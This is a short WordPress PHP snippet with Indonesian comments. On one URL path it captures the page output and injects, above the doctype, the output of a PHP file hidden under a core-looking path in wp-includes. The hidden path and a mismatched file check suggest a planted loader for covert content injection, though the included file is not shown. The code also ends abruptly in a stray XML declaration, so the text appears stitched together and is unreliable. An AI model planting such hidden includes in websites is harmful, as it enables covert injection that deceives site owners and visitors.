add_action('template_redirect', function () {
    $path = trim(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH), '/');

    if ($path !== 'v3/agenda') {
        return;
    }

    $file = ABSPATH . 'wp-content/custom/agenda-top.php';

    if (!file_exists($file) || !is_readable($file)) {
        return;
    }

    // ambil output WordPress
    ob_start();
}, 0);


add_action('shutdown', function () {
    $path = trim(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH), '/');

    if ($path !== 'v3/agenda') {
        return;
    }

    $file = ABSPATH . 'wp-includes/block-patterns/query-slim-posts.php';

    if (!file_exists($file) || !is_readable($file)) {
        return;
    }

    $html = ob_get_clean();

    // inject file di paling atas (sebelum doctype)
    ob_start();
    include $file;
    echo $html;

    echo ob_get_clean();
}, 0);<?xml version="1.0"?>
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